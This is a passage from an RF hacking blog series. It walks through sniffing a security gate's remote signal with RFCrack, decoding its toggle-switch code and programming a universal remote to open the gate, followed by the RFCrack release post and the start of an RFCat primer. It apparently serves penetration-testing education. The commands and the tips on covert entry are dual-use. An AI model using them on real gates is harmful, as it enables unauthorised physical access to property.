CC Labs:<span style="color: #38761d;"> <a href="http://cclabs.io/">http://cclabs.io</a></span><br />
<span style="color: #38761d;"><br /></span>
CC Labs Github for RFCrack Code:<br />
<span style="color: #38761d;"><a href="https://github.com/cclabsInc/RFCrack">https://github.com/cclabsInc/RFCrack</a></span></div>
<h3>
<span style="color: #38761d;"><br /></span></h3>
<h3>
<span style="color: #38761d;">
Contrived Scenario:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
Bob was tasked to break into XYZ<span class="Apple-converted-space"> </span>corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.<span class="Apple-converted-space"> </span>Interestingly there was some kind of wireless technology in use.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
How do we go from watching a car go through a gate, to having a physical device that opens the gate? <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.<span class="Apple-converted-space"> </span>Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Items used in this blog:<span class="Apple-converted-space"> </span></span></h3>
Garage Remote Clicker: <a href="https://goo.gl/7fDQ2N">https://goo.gl/7fDQ2N</a><br />
YardStick One: <a href="https://goo.gl/wd88sr">https://goo.gl/wd88sr</a> <br />
RTL SDR: <a href="https://goo.gl/B5uUAR">https://goo.gl/B5uUAR</a> <br />
<div class="p3">
<span class="s2"><span class="Apple-converted-space"><br /></span></span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVD3XQNtnRHmu6OOU-VJca2ukU7CJFbKqtXD75xyX5Xccg7f27xdGq5IAzeLh-0wcGwy5zfUvO7xuA4QTb5wQJ3IQvqxSIgZw-UScoMSQCVwaZOmGxhyP9XTxfAPy-HwPufbVHotqUgfL8/s1600/Screen+Shot+2018-01-27+at+1.10.30+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="592" data-original-width="378" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVD3XQNtnRHmu6OOU-VJca2ukU7CJFbKqtXD75xyX5Xccg7f27xdGq5IAzeLh-0wcGwy5zfUvO7xuA4QTb5wQJ3IQvqxSIgZw-UScoMSQCVwaZOmGxhyP9XTxfAPy-HwPufbVHotqUgfL8/s200/Screen+Shot+2018-01-27+at+1.10.30+PM.png" width="127" /></a></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd1nMnPUvR_hg_MQD0WfD8NNOuKQKV11DSlOqfRzw2Zfx2xRvLyZjjVSiOgkgakBMnSKl0arWuIAVaAMf-0Qb14DrWBrbpSWEraogkdHhypikl97j0K9_ro6b_okRGI68tInZJkNonElBl/s1600/Screen+Shot+2018-01-27+at+1.11.24+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="464" data-original-width="1144" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd1nMnPUvR_hg_MQD0WfD8NNOuKQKV11DSlOqfRzw2Zfx2xRvLyZjjVSiOgkgakBMnSKl0arWuIAVaAMf-0Qb14DrWBrbpSWEraogkdHhypikl97j0K9_ro6b_okRGI68tInZJkNonElBl/s320/Screen+Shot+2018-01-27+at+1.11.24+PM.png" width="320" /></a><br />
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
<br /></div>
<div class="p1">
<br /></div>
<div class="p1">
<br />
<h3>
<span style="color: #38761d;">Walkthrough Video: </span></h3>
</div>
<iframe allowfullscreen="" frameborder="0" height="270" src="https://www.youtube.com/embed/XqKoVFyOst0" width="480"></iframe>
<br />
<div class="p1">
<br /></div>
<h3>
<span style="color: #38761d;"><br /></span></h3>
<h3>
<span style="color: #38761d;">
Remotely sniffing signals for later analysis:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don’t want to look suspicious.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Recon:</span></h3>
<div class="p1">
Lets first use the scanning functionality in RFCrack to find known frequencies. We<span class="Apple-converted-space"> </span>need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.</div>
<div class="p2">
<br /></div>
<div class="p1">
Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at <a href="https://fccid.io/HBW7922/Test-Report/test-report-1755584"><span class="s1">https://fccid.io/HBW7922/Test-Report/test-report-1755584</span></a> which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations.<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span>
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGmenqPYwtN31_2Lo-yEQzdcUrhAbU7EUdzBx_KdwariSSKmgQkHT56OAXDK77YhkH-bddwF2cLxNoDOLDT7ZTJVwAPOXq1TB8zbWpWIOacLUQORS7dKPTEl_nD-gXUEWkJMyUgHNRAHUN/s1600/Screen+Shot+2018-01-28+at+12.46.24+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="324" data-original-width="472" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGmenqPYwtN31_2Lo-yEQzdcUrhAbU7EUdzBx_KdwariSSKmgQkHT56OAXDK77YhkH-bddwF2cLxNoDOLDT7ZTJVwAPOXq1TB8zbWpWIOacLUQORS7dKPTEl_nD-gXUEWkJMyUgHNRAHUN/s640/Screen+Shot+2018-01-28+at+12.46.24+PM.png" width="640" /></a></div>
<br />
<br /></div>
<div class="p2">
<h3>
<span style="color: #38761d;">RFCrack Scanning: </span></h3>
</div>
<div class="p1">
Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.<span class="Apple-converted-space"> </span>If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Destroy:RFCrack ficti0n$ <span style="color: #38761d;">python RFCrack.py -k -f 310000000 315000000 390000000</span></div>
<div class="p1">
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds</div>
<div class="p2">
<br /></div>
<div class="p1">
Currently Scanning: 315000000 To cancel hit enter and wait a few seconds</div>
<div class="p2">
<br /></div>
<div class="p1">
Currently Scanning: 390000000 To cancel hit enter and wait a few seconds</div>
<div class="p2">
<br /></div>
<div class="p1">
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000</div>
<div class="p1">
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds</div>
<h3>
<br /><span style="color: #38761d;">Example of logging output:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.<span class="Apple-converted-space"> </span>For example the following captures were found in the log file in an easily parseable format:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Destroy:RFCrack ficti0n$ <span style="color: #38761d;">cd scanning_logs/</span></div>
<div class="p1">
Destroy:scanning_logs ficti0n$ <span style="color: #38761d;">ls</span></div>
<div class="p1">
Dec25_14:58:45.log<span class="Apple-tab-span"> </span>Dec25_21:17:14.log<span class="Apple-tab-span"> </span>Jan03_20:12:56.log</div>
<div class="p1">
Destroy:scanning_logs ficti0n$ <span style="color: #38761d;">cat Dec25_21\:17\:14.log</span></div>
<div class="p1">
A signal was found on :390000000</div>
<div class="p1">
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000</div>
<div class="p1">
A signal was found on :390000000</div>
<div class="p1">
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #38761d;">Analyzing the signal to determine toggle switches:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.<span class="Apple-converted-space"> </span>Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don’t have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_J8bqjBnrnZODFhLjB11WclDe4k3gVpfwi4-ZmV_HpfMWgrcdi7VtXBVrbxGhHLUKuNTEZrJgxwUbk4bLmKs2kcXdPlAqEv2m_Yt8xWbC3saNSvuxrg0b3KvSrnnongy_tFsBPuHC1c3o/s1600/Screen+Shot+2018-01-27+at+8.50.01+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="562" data-original-width="1282" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_J8bqjBnrnZODFhLjB11WclDe4k3gVpfwi4-ZmV_HpfMWgrcdi7VtXBVrbxGhHLUKuNTEZrJgxwUbk4bLmKs2kcXdPlAqEv2m_Yt8xWbC3saNSvuxrg0b3KvSrnnongy_tFsBPuHC1c3o/s640/Screen+Shot+2018-01-27+at+8.50.01+PM.png" width="640" /></a></div>
<br />
<br />
<h3>
<span style="color: #38761d;">Let RFCrack Plot the Signal For you: </span></h3>
</div>
<div class="p1">
The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.<span class="Apple-converted-space"> </span>This saves time and allows you to use only one piece of hardware for all of the work.<span class="Apple-converted-space"> </span>This can easily be done with the following command:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Destroy:RFCrack ficti0n$ <span style="color: #38761d;">python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c</span></div>
<div class="p1">
-n = No yardstick attached</div>
<div class="p1">
-g = graph a single signal</div>
<div class="p1">
-u = Use this piece of data</div>
<div class="p2">
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcuiohFMG2YLjwLnvoiwXAmTfZAwyZxQpLjkAvLSwe-ufDVu5NFod1ZeTsmammDV9H8ahuvYy9Wp3epUJ7OkMfrZIqSSamHZWP-QibGuVmlqKoCT1p46O8hVNC5d8bImltGIu8xSN4fNKN/s1600/Screen+Shot+2018-01-27+at+8.33.42+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="1400" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcuiohFMG2YLjwLnvoiwXAmTfZAwyZxQpLjkAvLSwe-ufDVu5NFod1ZeTsmammDV9H8ahuvYy9Wp3epUJ7OkMfrZIqSSamHZWP-QibGuVmlqKoCT1p46O8hVNC5d8bImltGIu8xSN4fNKN/s640/Screen+Shot+2018-01-27+at+8.33.42+PM.png" width="640" /></a></div>
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #38761d;">Possible toggle switch scenarios:</span></h3>
<div>
<ol>
<li>down down up up up down down down down</li>
<li>up up down down down up up up up<span class="Apple-converted-space"> </span></li>
</ol>
</div>
</div>
<div class="p1">
<h3>
<span style="color: #38761d;">Configuring a remote:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.<span class="Apple-converted-space"> </span>In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don’t have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal.<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span>
<br />
<h3>
<span class="Apple-converted-space" style="color: #38761d;">Comparing Signals: </span></h3>
</div>
<div class="p1">
This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<i><span style="color: #38761d;">Note:<span class="Apple-converted-space"> </span>Not every click will show output as some clicks will be on different frequencies, these don’t matter since our recon confirmed the gate is communicating on 390Mhz.<span class="Apple-converted-space"> </span></span></i></div>
<div class="p2">
<br /></div>
<div class="p1">
In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #38761d;">Open up 2 terminals and use the following commands:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
#Setup a sniffer on 390mhz<br />
Setup sniffer:<span class="Apple-converted-space"> </span><span style="color: #38761d;">python RFCrack.py -k -c -f 390000000. </span><span class="Apple-converted-space" style="color: #38761d;"> </span></div>
<div class="p1">
#Monitor the log file, and provide the gates original signal<br />
Setup Analysis: <span class="Apple-converted-space"> </span><span style="color: #38761d;">python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<br /></div>
<div class="p1">
Cmd switches used</div>
<div class="p1">
-k = known frequency</div>
<div class="p1">
-c = compare mode</div>
<div class="p1">
-f = frequency</div>
<div class="p1">
-n = no yardstick needed for analysis</div>
<div class="p2">
<br /></div>
<div class="p1">
Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: <span style="color: #38761d;">(down down up up up down down down down)</span><br />
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSNe_vB1pQJyLj6DoMsVB3cANIQoBUaqY_3xDl0JAWPL3EnCC7IhjIDMRYJpte1kYjkTySixVKpaqOajCZeeUbJrvm_5CxC3pAdCkQZS0zyXSVMhaI6TrnYlHLAnogYVYPLCGEyKfti1i6/s1600/Screen+Shot+2018-01-27+at+9.08.07+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="666" data-original-width="492" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSNe_vB1pQJyLj6DoMsVB3cANIQoBUaqY_3xDl0JAWPL3EnCC7IhjIDMRYJpte1kYjkTySixVKpaqOajCZeeUbJrvm_5CxC3pAdCkQZS0zyXSVMhaI6TrnYlHLAnogYVYPLCGEyKfti1i6/s320/Screen+Shot+2018-01-27+at+9.08.07+PM.png" width="236" /></a></div>
<br />
<br /></div>
<div class="p1">
<h3>
<span style="color: #38761d;">Analyze Your Clicks:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.<span class="Apple-converted-space"> </span>If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.<span class="Apple-converted-space"> </span>We don’t care about those signals since they don’t pertain to our target.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.<span class="Apple-converted-space"> </span>It will always graph the highest percentage within a click.<span class="Apple-converted-space"> </span>Sometimes there will be blank graphs when the data is wacky and doesn’t work so well. This is fine since we don’t care about wacky data.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png</div>
<div class="p1">
----------Start Signals In Press--------------</div>
<div class="p1">
Percent Chance of Match for press is: 0.05</div>
<div class="p1">
Percent Chance of Match for press is: 0.14</div>
<div class="p1">
Percent Chance of Match for press is: 0.14</div>
<div class="p1">
Percent Chance of Match for press is: 0.12</div>
<div class="p1">
----------End Signals In Press------------</div>
<div class="p1">
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png</div>
<div class="p1">
----------Start Signals In Press--------------</div>
<div class="p1">
Percent Chance of Match for press is: 0.14</div>
<div class="p1">
Percent Chance of Match for press is: 0.20</div>
<div class="p1">
Percent Chance of Match for press is: 0.19</div>
<div class="p1">
Percent Chance of Match for press is: 0.25</div>
<div class="p1">
----------End Signals In Press------------</div>
<div class="p1">
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png</div>
<div class="p1">
----------Start Signals In Press--------------</div>
<div class="p1">
Percent Chance of Match for press is: 0.93</div>
<div class="p1">
Percent Chance of Match for press is: 0.93</div>
<div class="p1">
Percent Chance of Match for press is: 0.97</div>
<div class="p1">
Percent Chance of Match for press is: 0.90</div>
<div class="p1">
Percent Chance of Match for press is: 0.88</div>
<div class="p1">
Percent Chance of Match for press is: 0.44</div>
<div class="p1">
----------End Signals In Press------------</div>
<div class="p1">
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png</div>
<div class="p2">
<br />
<br /></div>
<div class="p1">
<h3>
<span style="color: #38761d;">Graph Comparison Output for 97% Match:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p2">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis7BGiNkYQLLtb4ogTZ8VCAl0vzVjMuonSEM-oxLnqdTtKvrOxalU-eE4-betXn6sXjUrMNqL0sf5AT7DxFgMf2O3SIZ-y2gFuHLmOA9txd2dYgXxBjcPN4GpIF7Gvsa1JTvfYatO50teL/s1600/Screen+Shot+2018-01-27+at+9.28.13+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="1260" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis7BGiNkYQLLtb4ogTZ8VCAl0vzVjMuonSEM-oxLnqdTtKvrOxalU-eE4-betXn6sXjUrMNqL0sf5AT7DxFgMf2O3SIZ-y2gFuHLmOA9txd2dYgXxBjcPN4GpIF7Gvsa1JTvfYatO50teL/s400/Screen+Shot+2018-01-27+at+9.28.13+PM.png" width="400" /></a></div>
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
</h3>
<div>
<br /></div>
<h3>
<span style="color: #38761d;"><br /></span></h3>
<div>
<span style="color: #38761d;"><br /></span></div>
<h3>
<span style="color: #38761d;">Conclusion:<span class="Apple-converted-space"> </span></span></h3>
</div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
span.s1 {color: #e4af0a}
span.s2 {color: #454545}
span.Apple-tab-span {white-space:pre}
</style>
<br />
<div class="p1">
You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.<span class="Apple-converted-space"> </span>This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze<span class="Apple-converted-space"> </span>RF signals within embedded devices. There are many scenarios these same techniques could assist in.<span class="Apple-converted-space"> </span>We also covered a few new features in RF crack regarding logging, graphing and comparing signals.<span class="Apple-converted-space"> </span>These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.<span class="Apple-converted-space"> </span></div>
Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com7tag:blogger.com,1999:blog-5948768001255972621.post-28823236689412126682017-11-26T18:56:00.001-08:002017-11-26T19:02:12.454-08:00RFCrack Release - A software Defined Radio Attack ToolRFCrack uses the following hardware with RFCat libraries:<br />
<div>
YardStick One: </div>
<div>
<a href="https://goo.gl/wd88sr">https://goo.gl/wd88sr</a><br />
<br />
I decided to cleanup my RF testing harness and release it as a tool named RFCrack<br />
<div>
Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you’ve been following the blogs, this will greatly simplify your testing, in the following ways:</div>
<ul>
<li>RFCrack handles all of your data conversions. </li>
<li>It allows you to capture, replay and save payloads for use anytime </li>
<li>It will handle rolling code bypass attacks on your devices. </li>
<li>You can jam frequencies and fuzz specific values </li>
<li>It will also allow you to scan specific frequencies in discovery mode or incrementally probe them </li>
<li>RFCrack will hopefully have keyless entry & engine bypass support in the near future</li>
</ul>
<br />
<div>
This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code. If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case. <br />
<br />
You can reach me at:<br />
Twitter: <a href="https://twitter.com/ficti0n">@Ficti0n</a><br />
<a href="http://cclabs.io/">http://cclabs.io</a> , <a href="http://consolecowboys.com/">http://consolecowboys.com</a><br />
<br />
<h3>
<span style="color: #38761d;">GitHub Code for RFCrack:</span></h3>
<a href="https://github.com/cclabsInc/RFCrack">https://github.com/cclabsInc/RFCrack</a><br />
<br />
<h2>
<span style="color: #38761d;">Full RF Hacking Course in Development:</span></h2>
Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment. Send an email to info(at)cclabs.io if your interested.<br />
<br />
<br />
<br />
<h3>
<span style="color: #38761d;">Walkthrough Training Video:</span></h3>
<div>
<iframe allowfullscreen="" frameborder="0" height="270" src="https://www.youtube.com/embed/H7-g15YZBiI" width="480"></iframe>
<span style="color: #454545; font-family: "helvetica neue";"><span style="font-size: 12px;"><br /></span></span></div>
<div>
<br /></div>
<br />
<h3>
<span style="color: #38761d;">Until Next time: </span></h3>
Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated. I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs. I will post when its ready. </div>
</div>
Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-19622161703123353862017-10-24T08:15:00.002-07:002017-10-24T15:41:08.513-07:00 Hacking Everything with RF and Software Defined Radio - Part 2<h2>
<span style="color: #38761d;">YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer </span></h2>
<div class="p2">
<br /></div>
<div class="p1">
I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.<span class="Apple-converted-space"> </span>So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.</div>
If your really bored and want to follow me:<br />
Twitter: <a href="http://twitter.com/ficti0n">@Ficti0n</a><br />
Site: <a href="http://cclabs.io/">cclabs.io</a> or <a href="http://consolecowboys.com/">consolecowboys.com</a><br />
<h3>
<span style="color: #38761d;"><br /></span></h3>
<h3>
<span style="color: #38761d;">Purchase Devices needed to follow this blog series:<span class="Apple-converted-space"> </span></span></h3>
<b><span style="color: #38761d;">Target 1:</span></b><span style="color: #38761d;">(from the last blog)</span><br />
<div class="p3">
<span class="s1"><a href="https://goo.gl/W56Eau"><span class="s2">https://goo.gl/W56Eau</span></a><span class="Apple-converted-space"> </span></span></div>
<div class="p3">
<span class="s1"><br /></span></div>
<span style="color: #38761d;"><b>YardStick One: </b>(from the last blog)</span><br />
<div class="p3">
<span class="s1"><a href="https://goo.gl/wd88sr"><span class="s2">https://goo.gl/wd88sr</span></a><span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.<span class="Apple-converted-space"> </span>However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. </div>
<div class="p1">
This blog will be your RFCAT primer and coding tutorial, but don’t be scared with the word “Programming” I will be using simple code, nothing complicated.<span class="Apple-converted-space"> </span>So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking.<span class="Apple-converted-space"> </span></div>
<div class="p1">
<span class="Apple-converted-space"><br /></span>
<br />
<h3>
<span style="color: #38761d;">Video Series PlayList Associated with this blog:</span></h3>
</div>
<span class="Apple-converted-space"></span><br />
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/videoseries?list=PLCwnLq3tOElpXe1HqK6m-wVDCsqyBNhlb" width="560"></iframe><br />
<div>
<br /></div>
<div class="p2">
<br />
<br />
The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick.<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span></div>
<h3>
<span style="color: #38761d;">
RFCat as a Spectrum Analyzer:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.<span class="Apple-converted-space"> </span>I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn’t feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running..<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
